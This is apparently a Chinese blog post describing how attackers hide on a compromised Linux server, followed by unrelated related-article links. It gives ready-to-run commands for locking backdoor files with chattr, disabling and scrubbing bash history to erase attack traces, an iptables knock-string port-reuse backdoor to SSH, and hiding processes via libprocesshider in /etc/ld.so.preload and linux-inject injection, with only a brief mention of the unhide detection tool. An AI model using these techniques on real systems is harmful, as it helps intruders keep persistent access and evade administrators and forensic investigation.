0x00 前言

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。

0x01 隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如

/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

0x02 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php  删除文件

0x03 隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history

它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' .bash_history

0x04 端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

#安装SSLH
sudo apt-get install sslh
#配置SSLH
#编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
#1、找到下列行:Run=no  将其修改为:Run=yes
#2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

第二种方式:利用IPTables进行端口复用

# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式:

#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

具体文章详见:远程遥控 IPTables 进行端口复用

0x05 进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

github项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下:

# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试:运行 evil_script.py

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

如何在Linux中发现隐藏的进程?

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址:http://www.unhide-forensics.info/

# 安装
sudo yum install unhide
# 使用
unhide [options] test_list

使用unhide proc发现隐藏进程evil_script.py,如下图所示:

第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: https://github.com/gaffe23/linux-inject.git

# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

0x06 结语

本文主要介绍了Linux下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。仅作抛砖引玉之用,欢迎留言分享。

linux下的几种隐藏技术相关推荐

  1. Linux 下的五种 IO 模型

    Linux 下的五种 IO 模型 来源:decaywood's Blog 概念说明 用户空间与内核空间 现在操作系统都是采用虚拟存储器,那么对32位操作系统而言,它的寻址空间(虚拟存储空间)为4G(2 ...

  2. Linux下数百种Windows软件的免费替代品列表

    Linux下数百种 Windows 软件的免费替代品列表 程序所执行任务的描述 Windows Linux 1) 网络连接 网页浏览器 微软 IE,网景 Netscape / Mozilla, Ope ...

  3. linux里怎么看终端类型,如何区分Linux下的几种终端类型:tty、pty和pts

    如何区分Linux下的几种终端类型:tty.pty和pts 基本概念: 1. tty(终端设备的统称): tty一词源于teletypes,或者teletypewriters,原来指的是电传打字机,是 ...

  4. Linux 下的屏幕取词技术

    Linux 下的屏幕取词技术 作者: 于明俭 屏幕取词即当鼠标在应用软件所显示中/英文的地方滑过, 则有一小窗口 出现在离单词附近, 上面出现鼠标下面单词的解释. 屏幕取词以前一直是 MS Windo ...

  5. linux下的几种输入法下载地址

    linux下的几种输入法下载地址 突然发现在linux之下的输入法其实已经很多了.给我一种linux越来越好的错觉? 一.搜狗输入法 for linux 官网:https://pinyin.sogou ...

  6. linux文件名 -%3e,linux下的三种解压文件的命令?

    那要看你的压缩文件使用哪种压缩方式: gzip,压缩文件名:zip或gz,解压命令:unzip bzip2,压缩文件名:bz,解压命令:bzip2 -d 上面两个是最常用的压缩方式,一般在linux下 ...

  7. Linux下的几种负载均衡技术小结

    前言 Linux系统的数据包处理能力相当强大,通过Netfilter框架或者策略路由系统,用户可以非常灵活的定义数据包的处理规则.因此在Linux下实现负载均衡自然也是非常简单.笔者在此总结了Linu ...

  8. linux下的五种io模型,Linux下的五种IO模型

    Java中提供的IO有关的API,在文件处理的时候,其实依赖操作系统层面的IO操作实现的(关于Java对IO的三种封装,可见我的另一篇博客) 开门见山,Linux下的如中IO模型:阻塞IO模型,非阻塞 ...

  9. linux祖先进程,Linux下的几种特殊进程

    1.Linux的登录环境 Linux是一个多任务多用户的操作系统,其设计初衷: 就是要达成多用户同时使用单个计算机大的任务. 多用户:早期计算机资源紧张,为了让更多的人都可以使用. 多任务:服务于多用 ...

最新文章

  1. 了解JavaScript
  2. 调试node服务器-过程
  3. linux sdkMannger的打开
  4. [转]基于 aspnet 的自动合并输出js和css的解决方案
  5. RNN循环神经网络概述
  6. python网络爬虫_python小知识,基于Python 的网络爬虫技术分析
  7. 编程之美读书笔记之-高效率的安排见面会
  8. python操作redis set_Python操作redis学习系列之(集合)set,redis set详解 (六)
  9. mysql 浮点数补零_如何执行MySQL的'SUM',但'0'小数位?
  10. namespace关键字-1
  11. 使用FileReader对象的readAsDataURL方法来读取图像文件
  12. 利用递归函数调用方式,将所输入的5个字符,以相反顺序打印出来。
  13. javafx弹出二级stage窗口时虚化主窗口
  14. oracle row number (),Oracle 分析函数 ROW_NUMBER() 使用
  15. 教学|zbrush雕刻头发笔刷介绍,巧用工具可以事半功倍哦!
  16. maxscale mysql 主从_MariaDB主从配置与MaxScale实现MySQL读写分离
  17. 常用零部件表面粗糙度标注及表面处理技术
  18. eTerm A4电子行程单 提取导出
  19. 双击桌面计算机打不开硬盘,双击硬盘盘符打不开只能右键打开的解决方法 -电脑资料...
  20. 20个高权重的博客列表

热门文章

  1. OpenStack 高性能虚拟机之大页内存
  2. Linux_自制系统服务启动脚本
  3. 安装NUC972的BSP
  4. Keil仿真出现Can not read register xx while CPU is running
  5. Keil代码整体偏移和查找功能
  6. 些许注意事项(初学)
  7. YTKNetwork使用application json方式传递参数
  8. 每次都觉得很神奇的JS
  9. linux 下批量修改文件的编码
  10. [转]Erlang 大量写入出警报